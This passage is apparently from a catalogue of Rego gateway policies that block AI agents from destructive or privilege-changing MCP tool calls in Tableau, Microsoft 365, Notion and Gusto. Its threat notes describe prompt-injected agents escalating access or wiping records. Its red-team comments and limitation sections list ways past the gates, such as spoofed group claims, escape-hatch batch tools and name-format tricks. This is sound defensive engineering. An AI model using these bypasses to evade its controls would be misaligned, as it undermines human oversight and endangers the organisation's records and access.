independently. Reading the two fields into a set and # iterating would re-couple them; keeping separate branches means a malformed # (non-string) value in one field cannot suppress a real destructive suffix in # the other. Underscores are normalized to hyphens so a snake_case-named variant # (delete_workbook) is still gated — over-matching is the safe direction for a # record-integrity freeze. is_destructive_tool if { some suffix in destructive_suffixes endswith(replace(resource_name, "_", "-"), suffix) } is_destructive_tool if { some suffix in destructive_suffixes endswith(replace(payload_name, "_", "-"), suffix) } # --- Admin gate --- # Reads the groups claim through object.get chains so a missing subject, # missing claims, missing groups, or non-array groups value fails closed: # the caller is simply not an admin and the destructive call is denied. caller_is_admin if { claims := object.get(input.subject, "claims", {}) groups := object.get(claims, "groups", []) # groups must be an array. Without this guard, `some group in groups` # would iterate the VALUES of an object-typed groups claim # (e.g. {"0": "tableau-admins"}) and grant the admin exemption — a # fail-OPEN path that contradicts the documented "non-array groups fails # closed" behavior. is_array makes a string, object, number, or null # groups value all resolve to "not admin" (red-team hardening). is_array(groups) some group in groups group == admin_group } # Allow any tool outside the destructive content family. allow if { not is_destructive_tool } # Allow destructive tools only for members of the admin group. allow if { is_destructive_tool caller_is_admin } reasons contains "This Tableau content operation is blocked because it is hard to reverse: deleted workbooks and data sources sit in the recycle bin for only a limited window before they are gone for good, and a silently stopped or rescheduled extract refresh leaves dashboards stale while they still look live. Ask a member of your Tableau admin group (placeholder: tableau-admins) to run it, or ask your InfoSec team to add you to that group if you believe you should have access." if { is_destructive_tool not caller_is_admin } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Freeze M365 Identity Plane URL: https://www.intentbasedpolicy.com/policies/ms365/freeze-identity-plane App(s): ms365 | Direction: ingress | Bundles: soc2 | Package: ms365.ingress.freeze_identity_plane | Published: 2026-07-12 | Tags: ms365, freeze-identity-plane, ingress, identity, entra, groups, iso27001-nist, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/ms365/freeze-identity-plane/policy.md # ms365 / freeze-identity-plane **Direction:** ingress (`tool_pre_invoke`) **Default:** deny group/team membership mutations, allow everything else **Package:** `ms365.ingress.freeze_identity_plane` ## What it does Freezes directory and membership mutations on the Microsoft 365 MCP surface. The policy denies, by tool-name suffix: - `*-create-group` / `*-update-group` — group creation and property changes - `*-add-group-member` / `*-remove-group-member` — group membership changes - `*-add-group-owner` / `*-remove-group-owner` — group ownership changes - `*-add-team-member` / `*-remove-team-member` — Teams membership changes All other tools pass through unchanged. The denied tools are exempt **only** for callers whose IdP `groups` claim contains the placeholder group `iam-admins`, read fail-closed from `input.subject.claims.groups` — a missing subject, missing claims, or missing/empty `groups` claim means no exemption and the mutation is denied. The escalation risk is concrete in M365. Microsoft 365 groups are the access-control primitive behind Teams, SharePoint sites, and shared mailboxes: `add-group-owner` hands control of every group-bound resource (the Team, its SharePoint site, its shared mailbox) to the added principal, and `add-group-member` silently widens access to group-shared files and channels. An injected agent that can touch these tools can grant itself — or an outside account — persistent access that survives the session. Freezing the identity plane at ingress means the mutation never reaches Microsoft Graph. Reads (`*-list-groups`, `*-list-group-members`, `*-list-group-owners`, `*-get-group`, `*-list-team-members`, `*-list-my-memberships`, …) stay open so agents can operate recon-free without triggering denials. `delete-group` is intentionally **not** matched here — destructive deletion belongs to the companion `freeze-destructive-ops` policy (one policy, one job). ## Compliance alignment - **ISO 27001 A.8.2 / NIST 800-53 AC-6(9), AC-6(10)** — supports privileged access restriction: group membership and ownership changes are privileged directory operations, and this policy prevents non-privileged callers (and injected agents acting as them) from executing privileged functions on the agent channel. - **FedRAMP AC-6** — supports least-privilege alignment for deployments mapped through the NIST 800-53 baseline: identity-plane mutations require an explicit IdP-asserted admin group. - **SOC 2 CC6.1 / CC6.3** — supports logical access security and role-based least privilege: group membership and ownership changes are privileged operations, gated to a named admin group so a non-privileged caller (or an injected agent acting as one) cannot widen its own access. - **HIPAA §164.308(a)(4)** — supports information access management on a PHI-capable suite: M365 groups are the access-control primitive behind Teams, SharePoint sites, and shared mailboxes that hold ePHI, so freezing membership and ownership mutations on the agent channel keeps access grants under human control. ## Tool name matching The policy matches by suffix on the lowercased `input.resource.name`: `-create-group`, `-update-group`, `-add-group-member`, `-add-group-owner`, `-remove-group-member`, `-remove-group-owner`, `-add-team-member`, `-remove-team-member` Tool names are verified against the `softeria/ms-365-mcp-server` implementation as observed live through a gateway deployment (gateway prefix `ms365-`, e.g. `ms365-add-group-owner`). The DTwo gateway prefixes tool names with the configured MCP server name, and that prefix is not standardized — suffix matching keeps the policy portable across server names. Bare, unprefixed tool names (`create-group` rather than `ms365-create-group`) carry no leading hyphen and would not end with any listed suffix, so the policy also matches each bare name exactly — a gateway that forwards the server's own tool names without a prefix cannot slip past the suffix match. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape The decision uses only the tool name (`input.resource.name`) and the caller's identity (`input.subject.claims.groups`). Tool arguments are not inspected, so no argument-shape drift can bypass the deny. Identity is read with `object.get` chains: a missing `subject`, missing `claims`, or missing `groups` claim yields an empty group list, which fails closed — the caller is not exempt and the mutation is denied. ## Examples ### Allowed — read tool, no identity required ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "ms365-list-group-members", "type": "tool" }, "payload": { "name": "ms365-list-group-members", "args": { "groupId": "g-123" } } } } ``` `allow = true`, no reason. ### Denied — membership mutation by a non-admin caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "ms365-add-group-owner", "type": "tool" }, "subject": { "sub": "auth0|agent-user", "claims": { "groups": ["engineering"] } }, "payload": { "name": "ms365-add-group-owner", "args": { "groupId": "g-123", "userId": "u-456" } } } } ``` `allow = false`, `reason = "M365 group and team membership changes are frozen on the agent path (...)"`. ### Allowed — same mutation by an `iam-admins` member The same call with `"groups": ["iam-admins"]` in `input.subject.claims` returns `allow = true`. ## Composition This policy is single-purpose. Useful companions: - **`freeze-destructive-ops`** (PF-06) — owns `*-delete-group` and the rest of the delete-class surface. This policy deliberately leaves deletion to it. - **A PF-22 escape-hatch deny on `*-graph-batch`** — `graph-batch` can issue arbitrary Graph requests, including `POST /groups/{id}/members/$ref`, and bypasses every per-tool rule here. Without it, this policy's guarantee holds only for the named tools. - **`role-gate-writes`** (PF-12) — the baseline write gate for everything else on the M365 surface. ## Known limitations - **`graph-batch` and raw-Graph passthroughs bypass this policy.** The softeria server's `graph-batch` tool and Lokka's single `Lokka-Microsoft` tool can reach the same Graph membership endpoints without matching any suffix here. Deploy a PF-22 escape-hatch policy alongside this one; for Lokka, name-based matching is useless and the deny must inspect `method`/`path` arguments. - **Group names are placeholders** — replace `iam-admins` with your IdP's group name at import time. The match is an exact, case-sensitive string comparison against entries of the `groups` claim; `IAM-Admins` does not match `iam-admins`. - **The `groups` claim must be an array of strings.** If your IdP emits a single string or a namespaced custom claim (e.g. `https://acme.com/groups`), adjust `caller_groups` in the Rego. The exemption is guarded by `is_array`, so every non-array shape fails closed (deny) — including an object-shaped claim such as `{"role": "iam-admins"}`, whose *values* would otherwise have been iterated by `some group in caller_groups` and spoofed the admin exemption. Without the guard that shape failed **open**; with it, only a JSON array whose elements include the exact string `iam-admins` grants the exemption. - **Suffix matching assumes the gateway joins the server-name prefix with a hyphen.** DTwo's gateway does (`ms365-add-group-owner`, verified live), and the policy also matches bare unprefixed names exactly. But a non-standard gateway that joined the prefix with `_` or `.` (`ms365_add-group-owner`, `ms365.add-group-owner`) would not end with any hyphen-led suffix and would slip through. Verify the exact separator your gateway sends with the dump-input debug technique; if it is not a hyphen, extend the match. - **Only softeria tool names are verified.** The Anthropic-hosted Microsoft 365 connector does not publish MCP-level tool names (and does not traverse a customer gateway); the official Microsoft enterprise server is read-only and has no mutation tools to match. If you route a different Graph-backed server through the gateway, verify its tool names and extend the suffix list. - **Reads stay open by design.** `list-groups`, `list-group-members`, and other directory reads are not gated here. If directory recon itself is a concern in your environment, add a separate read-gating policy rather than widening this one. - **A request with no resolvable tool name passes through.** This is a blocklist keyed on `input.resource.name`: a missing or empty name matches no suffix and is allowed. The gateway reliably populates `resource.name` on `tool_pre_invoke`, so this is inherent blocklist semantics rather than an observed gateway behavior; if you need fail-closed-on-unknown, deploy a PF-28 default-deny allowlist policy instead of (or alongside) this one. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package ms365.ingress.freeze_identity_plane # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Placeholder IdP group permitted to perform identity-plane mutations. # Replace "iam-admins" with your IdP's group name at import time. iam_admin_group := "iam-admins" # Lowercased, whitespace-trimmed tool name. The gateway prefixes tool names # with the configured MCP server name (observed live as `ms365-`), so matching # is case-insensitive and suffix-based to stay portable across server names. # Red-team fix: trim_space so a trailing space/newline in the tool name cannot # defeat the endswith suffix match (`"...-add-group-owner\n"` would otherwise # slip through). tool_name := trim_space(lower(object.get(object.get(input, "resource", {}), "name", ""))) # Directory and membership mutations on the softeria ms-365-mcp-server, # verified from a live gateway deployment. `delete-group` is intentionally # absent — it belongs to the companion freeze-destructive-ops policy. identity_mutation_suffixes := [ "-create-group", "-update-group", "-add-group-member", "-add-group-owner", "-remove-group-member", "-remove-group-owner", "-add-team-member", "-remove-team-member", ] is_identity_mutation if { some suffix in identity_mutation_suffixes endswith(tool_name, suffix) } # Red-team fix: every suffix starts with "-", so a bare, unprefixed tool name # (e.g. `create-group` from a gateway configured without a server-name prefix) # would not end with any suffix and slip through. Match the bare names exactly. is_identity_mutation if { some suffix in identity_mutation_suffixes tool_name == trim_prefix(suffix, "-") } # --- Identity (fail closed) --- # Missing subject, missing claims, a missing groups claim, or a groups claim # that is not an array all yield "not an IAM admin" — mutations then deny. caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) # Red-team fix: guard on is_array. Without it, `some group in caller_groups` # iterates the *values* of an object-shaped groups claim, so a claim like # {"role": "iam-admins"} would spoof the exemption and fail OPEN. Requiring an # array makes every non-array shape (string, object, number) fail closed — # matching the documented "must be an array of strings" contract. caller_is_iam_admin if { is_array(caller_groups) some group in caller_groups group == iam_admin_group } # Allow any tool that is not an identity-plane mutation (reads such as # list-groups and list-group-members stay open for recon-free operation). allow if { not is_identity_mutation } # Allow identity-plane mutations only for members of the IAM admin group. allow if { is_identity_mutation caller_is_iam_admin } reasons contains msg if { is_identity_mutation not caller_is_iam_admin msg := sprintf("M365 group and team membership changes are frozen on the agent path — group membership and ownership changes are made in the Microsoft Entra admin center by an identity administrator. If your role requires making these changes through the gateway, ask your identity admin to add you to the '%s' IdP group, or contact your InfoSec team if this looks like a false positive.", [iam_admin_group]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Freeze Notion Full-Page Content Overwrites URL: https://www.intentbasedpolicy.com/policies/notion/freeze-content-overwrite App(s): notion | Direction: ingress | Bundles: soc2 | Package: notion.ingress.freeze_content_overwrite | Published: 2026-07-12 | Tags: notion, freeze-destructive-ops, record-integrity, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/notion/freeze-content-overwrite/policy.md # notion / freeze-content-overwrite **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `notion.ingress.freeze_content_overwrite` ## What it does Denies `notion-update-page` calls whose `command` argument is `replace_content` — the one edge on Notion's hosted MCP server that overwrites a page's **entire body** in a single call. The overwrite is recoverable only through Notion page history, and it happens silently from the agent's viewpoint: the tool reports success, and neither the agent nor the user sees that the previous content is gone. The additive commands pass through untouched, so agents can still append content (`insert_content_after`) and edit page properties (`update_properties`) without a human in the loop. This freezes the only silently-destructive write in the hosted server's 18-tool surface — the hosted server exposes **no delete, archive, or trash tool at all**, so `replace_content` is where the PF-06 record-destruction risk lives on this target. A prompt-injected or simply mistaken agent that "cleans up" a page with `replace_content` destroys meeting notes, HR trackers, or finance runbooks in one call; with this policy attached, the worst it can do is append. There is deliberately **no identity exemption**: page bodies must survive agent error and prompt injection regardless of who is driving the agent. The deny reason steers the agent to `insert_content_after`; a legitimate full rewrite belongs in the Notion UI, where page history and human eyes are both present. ## Compliance alignment - **SOC 2 PI1.5** — supports integrity of stored records by removing the agent's unilateral ability to replace a page's full body. - **HIPAA §164.312(c)** — supports the integrity standard (protection of ePHI recorded in Notion pages — care notes, intake trackers — from improper alteration/destruction); **§164.530(c)** — supports privacy safeguards over those records. - **GDPR Art. 5(1)(d)** — supports accuracy by preventing mass corruption of personal-data records: one `replace_content` call can wipe every fact a page holds about data subjects. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `notion-notion-update-page` for a server named `notion`), and that prefix is deployment-specific, so the policy matches case-insensitively by suffix: - `*-update-page` — the hosted server's `notion-update-page` (verified against Notion's supported-tools documentation). The suffix also happens to match the legacy official local server's `update-page` once the gateway prefixes it (e.g. `notion-update-page`) — harmless, because that tool takes no `command` argument and therefore always passes (see Known limitations). Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape The hosted `notion-update-page` takes `page_id`, a `command` ∈ {`replace_content`, `insert_content_after`, `update_properties`}, and command-specific content payloads (verified from the landscape research as of mid-2026). Every read goes through `object.get`: - `args.command` is read as `object.get(object.get(input.payload, "args", {}), "command", "")`, then trimmed and lowercased before comparison, so `Replace_Content`, `REPLACE_CONTENT`, and whitespace-padded variants (` replace_content `, `replace_content\n`) cannot slip past a server that strips/normalizes the command before dispatch. - A call with **no `args` object or no `command` key is not treated as an overwrite** and passes through — the server itself rejects a malformed call; this policy only freezes confirmed full-body overwrites. - A non-string `command` (array, object, number) never compares equal to `replace_content` and passes through; the server's own schema validation rejects such calls anyway. ## Examples ### Allowed — appending content (the recommended alternative) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "notion-notion-update-page", "type": "tool" }, "payload": { "name": "notion-notion-update-page", "args": { "page_id": "1a2b3c4d-5e6f-7081-92a3-b4c5d6e7f809", "command": "insert_content_after", "new_str": "## Follow-ups\n- Circulate the draft" } } } } ``` `allow = true`, no reason. ### Denied — full-page overwrite ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "notion-notion-update-page", "type": "tool" }, "payload": { "name": "notion-notion-update-page", "args": { "page_id": "1a2b3c4d-5e6f-7081-92a3-b4c5d6e7f809", "command": "replace_content", "new_str": "Cleaned up!" } } } } ``` `allow = false`, `reason = "Full-page overwrites are blocked (...)"`. ### Allowed — property edit on the same tool ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "notion-notion-update-page", "type": "tool" }, "payload": { "name": "notion-notion-update-page", "args": { "page_id": "1a2b3c4d-5e6f-7081-92a3-b4c5d6e7f809", "command": "update_properties", "properties": { "Status": "In review" } } } } } ``` `allow = true` — property edits are additive-class and left for other policies to govern. ## Composition This policy is single-purpose: it freezes the full-body overwrite command and nothing else. Pair it with: - a **structural-write role gate** on `-move-pages`, `-update-data-source`, and `-update-view` — schema rewrites and workspace restructuring are the other alteration surfaces on the hosted server, and they are intentionally out of scope here, - a **directory-harvest gate** on `-get-users`, which returns workspace member and guest emails, - an **egress redaction** policy on the read surface (`-search`, `-fetch`, `-query-data-sources`) for regulated data leaving the workspace. ## Known limitations - **Hosted-server scope — by design.** This policy targets Notion's hosted MCP server (the surface behind the Claude connector), which has no delete/archive tool; `replace_content` is its only silently-destructive write. The legacy official local server's `delete-block` and `update-page-markdown`, and the awkoy community server's archive/delete operations behind its `notion_execute` meta-tool, are different surfaces and are **not** covered — prefer blocking those servers in gateway config and standardizing on the hosted target. - **Legacy local `update-page` matches the suffix but always passes.** Behind a server named `notion`, the legacy local server's `update-page` appears as `notion-update-page` and matches `*-update-page` — but it takes no `command` argument, so this policy never denies it. Its content-overwrite sibling `update-page-markdown` does **not** match the suffix and is out of scope per the previous point. - **No identity exemption — by design.** There is no group that may overwrite page bodies through the agent channel; records must survive agent error and prompt injection for every caller. Legitimate full rewrites belong in the Notion UI. If your organization truly requires an agent-channel break-glass, add a `groups`-gated `allow` branch per the identity-placeholder conventions — but understand it reopens the injection surface this policy closes. - **Page history is the recovery path, not a guarantee.** Notion page history has plan-dependent retention (shorter on lower plans). This policy prevents the overwrite from happening at all, which is stronger — but anything that does slip through a misconfigured deployment depends on history retention for recovery. - **Appending is still writing.** `insert_content_after` can append misleading or injected content; `update_properties` can flip statuses and retitle pages. Those are visible, reversible edits — governed by companion policies, not this one. - **Command normalization covers case + surrounding whitespace only.** The `command` value is `trim_space`-d and lowercased, defeating casing and padding tricks. It does **not** normalize Unicode homoglyphs, zero-width characters, or interior whitespace (e.g. `replace _content`). Such a value passes this policy — but it also fails the hosted server's exact-string command dispatch, so no overwrite occurs. If a future server variant does fuzzy command matching, extend `requested_command` accordingly. - **Malformed calls fail open here.** A `-update-page` call with a missing or non-string `command` passes the policy and is left for the server's own schema validation to reject. This is intentional (`object.get` defaults): a benign call is never misclassified as an overwrite. - **Argument vocabulary is research-verified as of mid-2026.** The `command` key and its three values come from the landscape research against Notion API version `2026-03-11`. If Notion adds another destructive command value, it would pass this policy until the matcher is extended. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package notion.ingress.freeze_content_overwrite # Deny-by-default: only the explicit allow rule below permits the request. default allow := false # --- Tool matching --- # Hosted Notion MCP update tool is `notion-update-page`; the gateway prepends # the configured MCP server name (e.g. `notion-notion-update-page`), so match # by suffix, case-insensitively. Verify the exact name your gateway sends with # the dump-input debug technique. is_update_page_tool if { endswith(lower(input.resource.name), "-update-page") } # Safe read of the `command` argument: a missing args object or a missing # command key yields "" (never treated as an overwrite). The value is trimmed # and lowercased before comparison, so `Replace_Content`, `REPLACE_CONTENT`, # or a whitespace-padded ` replace_content `/`replace_content\n` cannot slip # past a server that strips/normalizes the command before dispatch. A # non-string command leaves requested_command undefined, which also means # "not an overwrite" — the server's schema validation rejects such calls. requested_command := lower(trim_space(command_value)) if { command_value := object.get(object.get(input.payload, "args", {}), "command", "") is_string(command_value) } # `replace_content` overwrites the entire page body — recoverable only via # Notion page history, and silently from the agent's viewpoint. The additive # commands (`insert_content_after`, `update_properties`) are not matched. is_content_overwrite if { is_update_page_tool requested_command == "replace_content" } # Allow every call that is not a confirmed full-page overwrite. allow if { not is_content_overwrite } reason := "Full-page overwrites are blocked: notion-update-page with command \"replace_content\" replaces the entire page body, recoverable only through Notion page history and invisibly from the agent's viewpoint. Append with command \"insert_content_after\" instead, or make the full rewrite by hand in the Notion UI. Contact your InfoSec team if a full overwrite is legitimately required." if { not allow } ``` ### Freeze Payroll Writes in Gusto URL: https://www.intentbasedpolicy.com/policies/gusto/freeze-payroll-writes App(s): gusto | Direction: ingress | Bundles: none | Package: gusto.ingress.freeze_payroll_writes | Published: 2026-07-12 | Tags: gusto, freeze-destructive-ops, ingress Source: https://github.com/dtwoai/policy-store/blob/main/apps/gusto/freeze-payroll-writes/policy.md # gusto / freeze-payroll-writes **Direction:** ingress (`tool_pre_invoke`) **Default:** deny write-shaped tools, allow reads **Package:** `gusto.ingress.freeze_payroll_writes` ## What it does Freezes every write and delete operation on a Gusto pipeline. Any tool call whose name looks write-shaped is denied at ingress, before it reaches the upstream MCP server, so a payroll, compensation, bank-account, or employee mutation initiated by an agent never executes. Gusto is unusual among tier-1 connectors: the **official Gusto MCP server** (`mcp.api.gusto.com`) is strictly **read-only** — all 36 of its tools are reads, and the docs state verbatim that "All tools provided by the Gusto MCP server are read-only." Against that server this policy is a **no-op**: no official tool name is write-shaped, so every call passes through untouched. Its value is the moment a tenant wires Gusto through a third-party **aggregator**. StackOne's Gusto connector exposes 72 actions — ~33 reads plus **15 create / 13 update / 9 delete** actions covering employees, contractors, compensations, benefits, **bank accounts**, pay schedules, time-off, and **payroll deletion**. Those are money-movement-adjacent and effectively irreversible once a pay run processes. From the instant that server is attached, this policy blocks all of them — no re-authoring required — because it matches on write-verb shape, not on a fixed official tool list. The policy normalizes camelCase word boundaries to an underscore, then matches case-insensitively: - **create / update / delete** appearing as a delimited verb token anywhere in the (server-prefixed) tool name, in the underscore, hyphen, **or dot** dialect **and in camelCase** (which is normalized to underscores first), and whether the verb **leads** the action id (`create_employee`, `hris_create_employee`, `createEmployee`) or **trails** it (`hris_employee_create`, `employeeCreate`). This covers `create_*`/`create-*`/`create.*`/`createX`, `update_*`/`update-*`/`update.*`/`updateX`, and `delete_*`/`delete-*`/`delete.*`/`deleteX`. - any name containing **`submit`** (`*submit*`) — payroll submission and re-submission are money-movement writes. `default allow := false`. A call is allowed only when it presents a **non-empty, non-write-shaped** tool name, so a call whose name is missing entirely is denied rather than passed. There is no group exemption: agent-initiated payroll mutations are out of policy for everyone, and the deny reason points the caller to the Gusto UI. ## Compliance alignment - **SOX §802 / 18 U.S.C. §1519** — anti-destruction/alteration of records: an agent cannot delete payrolls or mutate payroll/compensation/bank-account records on the MCP path, supporting the record-preservation obligation over financial data in Gusto (coverage-matrix §2.5, PF-06). - **SOX Rule 13a-15(f)(3)** — safeguarding of assets: freezing payroll-submit and bank-account create/delete on the agent channel supports the safeguarding-of-assets control; this policy is the destructive-freeze half of that posture and composes with a money-movement cap (PF-09) once aggregator write tool-name strings are verified per tenant. - **SOC 2 PI1.5** — integrity of stored records: preventing agent-initiated creation, update, and deletion of payroll records supports the stored-record-integrity criterion (coverage-matrix §2.1, PF-06). ## Tool name matching Matches case-insensitively on `input.resource.name`. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `gusto-mcp-create_employee`), so the policy detects the write verb as a **delimited token** (`(^|[._-])(create|update|delete)([._-]|$)`) rather than anchoring on the start of the full name. camelCase / PascalCase names are first normalized in two passes — an acronym→word split (`HRISCreateEmployee` → `HRIS_CreateEmployee`) then a lower/digit→upper split (`createEmployee` → `create_employee`, `v2CreateEmployee` → `v2_create_employee`) — so the same delimited-token match covers camelCase, acronym-prefixed, and digit-prefixed dialects. That keeps it portable across the known Gusto naming dialects: - **Official** (`snake_case`, no vendor prefix on most tools): every tool is a `list_*` / `get_*` read — none match, so the policy is a verified no-op there. - **StackOne aggregator** (`hris_*` unified action IDs): the exact tool-name strings are **not published verbatim** and are **unverified**, but StackOne's documented naming follows `hris_*` action IDs. The verb-token match catches the write/delete subset of those actions (`hris_create_*`, `hris_update_*`, `hris_delete_*`, and any `hris_*_create`/`_update`/`_delete` suffix form) while leaving `hris_get_*`/`hris_list_*` reads alone. Verify the exact strings your tenant's aggregator emits with the dump-input debug technique and pin them explicitly if you want name-exact denies. - **Community** (`kebab-case`, e.g. `get-all-employees`): the read tools do not match; the hyphen dialect of the write verbs (`create-`/`update-`/`delete-`) does. - **camelCase / dot-namespaced** (e.g. a Workato/Scalekit-style aggregator emitting `createEmployee`, `employeeCreate`, `HRISCreateEmployee`, `v2CreateEmployee`, or `svc.delete.payroll`): the camelCase / PascalCase boundary is normalized to an underscore — including where an acronym (`HRIS`) or version digit (`v2`) sits immediately before the verb's capital — and `.` is treated as a delimiter, so these write verbs are caught while camelCase reads (`getEmployee`, `HRISGetEmployee`, `listCreatedReports`) are not. The `submit` match is a substring (`*submit*`) because no official Gusto read tool contains that string; on write-capable servers it catches `submit_payroll`, `payroll_submit`, and `resubmit_payroll`. ## Argument shape This policy is **name-only** — it never inspects `input.payload.args`, so no argument key, encoding, or nesting can route a write past it. Every field it does read (`input.resource.name`) is fetched with `object.get` chains that resolve a missing resource or name to `""`, which fails closed to deny. ## Examples ### Allowed — official read tool, untouched ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gusto-mcp-list_company_payrolls", "type": "tool" }, "payload": { "name": "gusto-mcp-list_company_payrolls", "args": { "company_uuid": "abc" } } } } ``` `allow = true`, no reason. (No write verb, no `submit`.) ### Denied — aggregator payroll deletion ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "stackone-hris_delete_payroll", "type": "tool" }, "payload": { "name": "stackone-hris_delete_payroll", "args": { "id": "pay_123" } } } } ``` `allow = false`, reason says payroll mutations are frozen and to use the Gusto UI. ### Denied — bank-account create (hyphen dialect) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gusto-mcp-create-bank_account", "type": "tool" }, "payload": { "name": "gusto-mcp-create-bank_account", "args": {} } } } ``` `allow = false`. ## Composition Single-purpose: this policy only freezes writes/deletes by tool-name shape. Useful companions on a Gusto pipeline: - **PF-09 money-movement cap** — a value-aware policy that denies/caps payroll runs and payouts above a ceiling or outside a finance IdP group. This freeze is the coarse destructive-ops half; the cap is the fine-grained transaction-authorization half. Compose them once the aggregator's write tool-name strings are verified per tenant so the cap can key on exact names and amount arguments. - **Egress PII/financial redaction** on Gusto read tools (salaries, home addresses, bank/routing numbers surfaced by community/aggregator servers). - **Ingress compensation/payroll read gating** by IdP group for need-to-know reads. ## Known limitations - **Aggregator tool names are unverified.** StackOne's exact MCP tool-name strings are not published verbatim; matching relies on the documented `hris_*` action-ID shape plus the create/update/delete verb tokens. If your aggregator uses a different verb vocabulary, the names slip past — verify with the dump-input technique and pin them. - **Verb vocabulary is scoped to create/update/delete/submit.** Other write-ish verbs (`void`, `cancel`, `approve`, `run`, `process`, `post`, `pay`, `remove`, `terminate`, `set`) are **not** matched. If your server exposes destructive actions under those verbs, add them to `write_verb_pattern` / the substring checks. This is deliberate: broadening the verb set raises false-positive risk against reads, so it is left as a per-tenant tuning step. (`submit` is caught, so `resubmit_payroll` is denied.) - **Delimiters and casing covered: `_`, `-`, `.`, camelCase, PascalCase, acronym- and digit-prefixed camelCase.** camelCase names are normalized to underscores before matching (a two-pass split that also breaks `acronym→word` and `digit→word` boundaries) and `.` counts as a delimiter, so `createEmployee`, `employeeCreate`, `HRISCreateEmployee`, `v2CreateEmployee`, and `svc.delete.payroll` are all denied. Residual slips remain for names where the verb is **fused with no word boundary at all** (e.g. `createbankaccount` — no delimiter and no case change after `create`) or where the tool name is **malformed** with an embedded/trailing newline (Go's `$` matches end-of-text only, so a trailing-position verb followed by `\n` escapes the `([._-]|$)` right anchor). Neither shape appears in any known Gusto server; if your aggregator produces them, pin exact tool names per tenant. - **Server-prefix collisions.** The verb-token match keys on delimiters, so an MCP server whose configured name itself contains `create`/`update`/`delete`/`submit` as a delimited token (e.g. a server literally named `gusto-update-mcp`) would match every call. Name your Gusto server without those verb tokens, or pin exact tool names. - **No identity exemption.** All callers are frozen equally. If you need a break-glass path for a finance/HR admin, add an `allow if` branch gated on `input.subject.claims.groups` (a placeholder group like `hr-payroll-admins`) — read it fail-closed with `object.get` chains so a missing claim never exempts. - **Name-only.** The policy does not inspect arguments, so it cannot distinguish a benign update from a destructive one within the same tool. That is intentional for a freeze — pair with PF-09 for value-aware allow/cap decisions. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package gusto.ingress.freeze_payroll_writes # Deny-by-default: only the explicit allow rule below permits the request. A # call whose name is missing entirely resolves to "" and never satisfies the # allow rule, so it is denied rather than passed. default allow := false # Raw (original-case) tool name; missing resource/name resolves to "" (denied). raw_tool_name := object.get(object.get(input, "resource", {}), "name", "") # Normalize camelCase / PascalCase word boundaries to an underscore BEFORE # lowercasing, so a camelCase dialect (createEmployee, employeeCreate, # updateCompensation) reduces to the same delimited-token form as the snake/kebab # dialects (create_employee, employee_create, update_compensation). Two passes are # required so that an ACRONYM or DIGIT sitting immediately before the verb's # capital letter still produces a boundary — a single `[a-z]->[A-Z]` pass leaves # the verb glued to the acronym/digit (HRISCreateEmployee -> hriscreateemployee, # v2CreateEmployee -> v2createemployee) and the write tool slips past the match: # 1. acronym -> word boundary (HRISCreateEmployee -> HRIS_CreateEmployee) # 2. lower/digit -> upper (HRIS_CreateEmployee -> HRIS_Create_Employee, # v2CreateEmployee -> v2_Create_Employee) # Reads with leading acronyms (HRISGetEmployee -> hris_get_employee) are split the # same way and still carry no write verb, so this adds no false positives. _split_acronym := regex.replace(raw_tool_name, `([A-Z]+)([A-Z][a-z])`, "${1}_${2}") tool_name := lower(regex.replace(_split_acronym, `([a-z0-9])([A-Z])`, "${1}_${2}")) # Write/destructive verb tokens. Matches create/update/delete as a DELIMITED # token anywhere in the (server-prefixed, camelCase-normalized) tool name — the # underscore, hyphen, or dot dialect, and whether the verb leads the action id # (create_employee, hris_create_employee) or trails it (hris_employee_create). # Anchored on start-of-string or a `.`/`-`/`_` delimiter on the left and a # delimiter or end-of-string on the right, so it will not match substrings like # "created" or "updated" (the trailing letter is not a delimiter). No official # Gusto read tool (all list_*/get_*) matches this. write_verb_pattern := `(^|[._-])(create|update|delete)([._-]|$)` is_write_shaped if { regex.match(write_verb_pattern, tool_name) } # Submit-shaped calls (payroll submission / money movement). Substring match # per the `*submit*` spec — catches submit_payroll, payroll_submit, and # resubmit_payroll. No official Gusto read tool contains "submit". is_write_shaped if { contains(tool_name, "submit") } # Allow only a present, non-write-shaped tool name. An empty/missing name # (tool_name == "") fails this and falls through to the default deny. allow if { tool_name != "" not is_write_shaped } # Denied because the call is write-shaped (create/update/delete/submit). reasons contains "Agent-initiated payroll writes and deletions are frozen by policy on this Gusto pipeline. Create, update, delete, and payroll-submit actions — including any wired through an aggregator such as StackOne — are blocked because they are money-movement-adjacent and effectively irreversible once a pay run processes. Make the change as a human in the Gusto UI. Contact your InfoSec team if this block is a false positive." if { is_write_shaped } # Denied because the call arrived without a recognizable tool name (fail-closed). reasons contains "This Gusto call was denied because it arrived without a recognizable tool name. Retry with a valid Gusto tool, or make the change as a human in the 